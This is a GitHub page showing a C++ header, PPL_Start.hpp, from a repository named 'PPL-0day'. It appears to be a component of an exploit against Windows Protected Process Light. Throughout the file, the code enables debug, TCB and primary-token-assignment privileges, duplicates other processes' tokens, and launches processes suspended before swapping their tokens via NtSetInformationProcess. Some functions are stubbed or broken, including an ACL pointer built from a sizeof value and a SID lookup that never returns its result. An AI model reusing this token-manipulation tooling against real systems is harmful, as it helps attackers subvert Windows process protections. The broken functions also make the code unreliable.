forked from pulpocaminante/PPL-0day
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPPL_Start.hpp
executable file
·421 lines (336 loc) · 14.2 KB
/
PPL_Start.hpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
#pragma once
#include <Windows.h>
#include "config.h"
#include "kernel_defs.h" // helper header for kernel defs
namespace PPL_Start
{
using namespace kernel; // kernel_defs.h
VOID BTE(BOOL bReturn, LPCWSTR lpwzTrace)
{
if (bReturn == FALSE)
{
ILog("Failed: %ls: %d (%x)\n", lpwzTrace, GetLastError(), GetLastError());
}
return;
}
DWORD GetProcessIntegrityLevel(HANDLE hProcess)
{
HANDLE hToken;
DWORD dwLengthNeeded;
DWORD dwError = ERROR_SUCCESS;
PTOKEN_MANDATORY_LABEL pTIL = NULL;
LPWSTR pStringSid;
DWORD dwIntegrityLevel;
if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
{
// Get the Integrity level.
if (!GetTokenInformation(hToken, TokenIntegrityLevel,
NULL, 0, &dwLengthNeeded))
{
dwError = GetLastError();
if (dwError == ERROR_INSUFFICIENT_BUFFER)
{
pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0,
dwLengthNeeded);
if (pTIL != NULL)
{
if (GetTokenInformation(hToken, TokenIntegrityLevel,
pTIL, dwLengthNeeded, &dwLengthNeeded))
{
dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
if (dwIntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID)
{
CloseHandle(hToken);
// Low Integrity
return INTEGRITY_LOW;
}
else if (dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
{
CloseHandle(hToken);
// Medium Integrity
return INTEGRITY_MEDIUM;
}
else if (dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID)
{
CloseHandle(hToken);
// High Integrity
return INTEGRITY_HIGH;
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID)
{
CloseHandle(hToken);
// System Integrity
return INTEGRITY_SYSTEM;
}
else
{
CloseHandle(hToken);
return INTEGRITY_UNKNOWN;
}
}
LocalFree(pTIL);
}
}
}
CloseHandle(hToken);
}
return INTEGRITY_UNKNOWN;
}
BOOL SetTokenIntegrityLevel(HANDLE& hToken, DWORD dwIntegrityLevel)
{
return INTEGRITY_UNKNOWN;
}
bool SetThreadProcessPrivilege(LPCWSTR PrivilegeName, bool Enable)
{
HANDLE Token;
TOKEN_PRIVILEGES TokenPrivs;
LUID TempLuid;
bool Result;
if (!LookupPrivilegeValueW(NULL, PrivilegeName, &TempLuid)) return false;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &Token))
{
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &Token)) return false;
}
TokenPrivs.PrivilegeCount = 1;
TokenPrivs.Privileges[0].Luid = TempLuid;
TokenPrivs.Privileges[0].Attributes = (Enable ? SE_PRIVILEGE_ENABLED : 0);
Result = (AdjustTokenPrivileges(Token, FALSE, &TokenPrivs, 0, NULL, NULL) && ::GetLastError() == ERROR_SUCCESS);
// Even if AdjustTokenPrivileges returns TRUE, it may not have succeeded
// check last error top confirm
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
ILog(" Unable to set privilege: %S Error: %d \n", PrivilegeName, GetLastError());
CloseHandle(Token);
return FALSE;
}
CloseHandle(Token);
return Result;
}
BOOL GetTokenFromPID(HANDLE& hToken, DWORD pid, TOKEN_TYPE duptype, DWORD accessmode = TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY)
{
HANDLE tempproc;
HANDLE tokenhandle, tokenhandle2;
// Enable SeDebugPrivilege.
SetThreadProcessPrivilege(L"SeDebugPrivilege", true);
// Open a handle to the process.
tempproc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (tempproc == NULL) tempproc = ::OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (tempproc == NULL)
{
ILog("OpenProcess failed with error %d (0x%X) for PID %d (0x%X)\n", GetLastError(), GetLastError(), pid, pid);
return FALSE;
}
if (!OpenProcessToken(tempproc, accessmode, &tokenhandle) && (!(accessmode & TOKEN_QUERY_SOURCE) || !OpenProcessToken(tempproc, accessmode & ~TOKEN_QUERY_SOURCE, &tokenhandle)))
{
ILog("OpenProcessToken failed with error %d (0x%X) for PID %d (0x%X)\n", GetLastError(), GetLastError(), pid, pid);
::CloseHandle(tempproc);
return FALSE;
}
CloseHandle(tempproc);
if (!(accessmode & TOKEN_DUPLICATE)) tokenhandle2 = tokenhandle;
else
{
SECURITY_ATTRIBUTES secattr = { 0 };
secattr.nLength = sizeof(secattr);
secattr.bInheritHandle = FALSE;
secattr.lpSecurityDescriptor = NULL;
if (!DuplicateTokenEx(tokenhandle, MAXIMUM_ALLOWED, &secattr, SecurityImpersonation, duptype, &tokenhandle2))
{
ILog("DuplicateTokenEx failed with error %d (0x%X) for PID %d (0x%X)\n", GetLastError(), GetLastError(), pid, pid);
CloseHandle(tokenhandle);
return FALSE;
}
CloseHandle(tokenhandle);
}
hToken = tokenhandle2;
return TRUE;
}
BOOL EnableSystemPrivileges()
{
if (!SetThreadProcessPrivilege(L"SeBackupPrivilege", true))
{
ILog("Failed to enable SeBackupPrivilege: %d\n", GetLastError());
return FALSE;
}
if (!SetThreadProcessPrivilege(L"SeRestorePrivilege", true))
{
ILog("Failed to enable SeRestorePrivilege: %d\n", GetLastError());
return FALSE;
}
if (!SetThreadProcessPrivilege(L"SeIncreaseQuotaPrivilege", true))
{
ILog("Failed to enable SeIncreaseQuotaPrivilege: %d\n", GetLastError());
return FALSE;
}
if (!SetThreadProcessPrivilege(L"SeAssignPrimaryTokenPrivilege", true))
{
ILog("Failed to enable SeAssignPrimaryTokenPrivilege: %d\n", GetLastError());
return FALSE;
}
if (!SetThreadProcessPrivilege(L"SeTcbPrivilege", true))
{
ILog("Failed to enable SeTcbPrivilege: %d\n", GetLastError());
return FALSE;
}
if (!SetThreadProcessPrivilege(L"SeDebugPrivilege", true))
{
ILog("Failed to enable SeDebugPrivilege: %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
DWORD GetSID(LPCWSTR lptszUserName, PSID pSid, PDWORD pdwSize)
{
DWORD dwError;
LPWSTR lptszDomainName;
DWORD dwDomainNameLen;
SID_NAME_USE snu;
LPWSTR lptszSid;
BOOL bRet;
dwError = ERROR_SUCCESS;
*pdwSize = 0;
dwDomainNameLen = 0;
lptszDomainName = NULL;
bRet = LookupAccountName(NULL, lptszUserName, NULL, pdwSize, NULL, &dwDomainNameLen, &snu);
dwError = GetLastError();
pSid = new BYTE[*pdwSize];
lptszDomainName = new TCHAR[dwDomainNameLen + 1];
SecureZeroMemory(lptszDomainName, sizeof(TCHAR) * (dwDomainNameLen + 1));
SecureZeroMemory(pSid, *pdwSize);
bRet = LookupAccountNameW(NULL, lptszUserName, pSid, pdwSize, lptszDomainName, &dwDomainNameLen, &snu);
dwError = GetLastError();
delete[] lptszDomainName;
return dwError;
}
BOOL WINAPI CreateProcessSuspended(
_In_ LPCWSTR& lpApplicationPath,
_Out_ HANDLE& hProcess,
_Out_ HANDLE& hMainThread
)
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi = { 0 };
BOOL bSuccess = FALSE;
LPWSTR commandLine = new WCHAR[MAX_PATH];
wcscpy(commandLine, lpApplicationPath);
ILog("Using command line %ls\n", commandLine);
// Initialize PROCESS_INFORMATION
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
// Initialize STARTUPINFO
ZeroMemory(&si, sizeof(STARTUPINFO));
// Start the child process.
bSuccess = CreateProcess(
NULL, // No module name (use command line)
commandLine, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_SUSPENDED, // Creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
);
delete[] commandLine;
if (bSuccess)
{
hProcess = pi.hProcess;
hMainThread = pi.hThread;
return TRUE;
}
return FALSE;
}
BOOL SetNoWriteUpLabel(HANDLE hToken, WELL_KNOWN_SID_TYPE stIntegrityLevel)
{
ULONG cbSid = GetSidLengthRequired(1);
TOKEN_MANDATORY_LABEL tml = { { 0 } };
SecureZeroMemory(&tml, sizeof(TOKEN_MANDATORY_LABEL));
ULONG dwError = NOERROR;
if (CreateWellKnownSid(stIntegrityLevel, 0, tml.Label.Sid, &cbSid))
{
SECURITY_DESCRIPTOR sd;
ULONG cbAcl = sizeof(ACL) + FIELD_OFFSET(SYSTEM_MANDATORY_LABEL_ACE, SidStart) + cbSid;
PACL Sacl = (PACL)sizeof(cbAcl);
if (!InitializeAcl(Sacl, cbAcl, ACL_REVISION) ||
!AddMandatoryAce(Sacl, ACL_REVISION, 0, SYSTEM_MANDATORY_LABEL_NO_WRITE_UP, tml.Label.Sid) ||
!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION) ||
!SetSecurityDescriptorSacl(&sd, TRUE, Sacl, FALSE) ||
!SetKernelObjectSecurity(hToken, LABEL_SECURITY_INFORMATION, &sd) ||
!SetTokenInformation(hToken, TokenIntegrityLevel, &tml, sizeof(tml)))
{
dwError = GetLastError();
}
}
if (dwError == NO_ERROR)
return TRUE;
else
return FALSE;
}
BOOL SetProcessLimitedToken(
_In_ HANDLE hProcess,
_In_ HANDLE hMainThread
)
{
NtWrapper ntdll;
LUID luid;
LookupPrivilegeValueW(0, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
TOKEN_PRIVILEGES privs;
privs.PrivilegeCount = 1;
privs.Privileges[0].Luid = luid;
privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!EnableSystemPrivileges())
{
wprintf(L"Error setting token privileges: 0x%08x\n", GetLastError());
return FALSE;
}
LUID_AND_ATTRIBUTES luidAttr = { luid, 0 };
// Get the DISABLE_MAX_PRIVILEGE duplicate primary token of our process
HANDLE newToken = NULL;
if (!GetTokenFromPID(newToken, GetCurrentProcessId(), TokenPrimary))
{
ILog("Error getting token from PID: 0x%08x\n", GetLastError());
return FALSE;
}
if (newToken == NULL)
{
ILog("Error getting token from PID: 0x%08x\n", GetLastError());
return FALSE;
}
// Create a mandatory low integrity SID
//SetNoWriteUpLabel(newToken, WinLowLabelSid);
SID_IDENTIFIER_AUTHORITY SIDAuth = SECURITY_MANDATORY_LABEL_AUTHORITY;
PSID pSid = NULL;
AllocateAndInitializeSid(&SIDAuth, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &pSid);
// Change the integrity level of the duplicate token
TOKEN_MANDATORY_LABEL tml;
tml.Label.Attributes = SE_GROUP_INTEGRITY;
tml.Label.Sid = pSid;
if (!SetTokenInformation(newToken, TokenIntegrityLevel, &tml, sizeof(tml)))
{
ILog("Failed to set token information: %d\n", ::GetLastError());
}
// Initialize the kernel object attributes
PROCESS_ACCESS_TOKEN tokenInfo;
tokenInfo.Token = newToken;
tokenInfo.Thread = 0;
// Get a handle to ntdll
HMODULE hmntdll = LoadLibrary(L"ntdll.dll");
NTSTATUS status;
KERNEL_PROCESS_INFORMATION_CLASS infoClass = NtProcessAccessToken;
// And a pointer to the NtSetInformationProcess function
//NtSetInformationProcess setInfo = (NtSetInformationProcess)GetProcAddress(ntdll, "NtSetInformationProcess");
NTSTATUS setInfoResult = ntdll.NtSetInformationProcess(hProcess, (PROCESSINFOCLASS)infoClass, &tokenInfo, sizeof(PROCESS_ACCESS_TOKEN));
if (setInfoResult < 0)
{
wprintf(L"Error setting token: 0x%08x\n", setInfoResult);
return FALSE;
}
// Cleanup
FreeLibrary(hmntdll);
CloseHandle(newToken);
// Resume the process
ResumeThread(hMainThread);
return TRUE;
}
}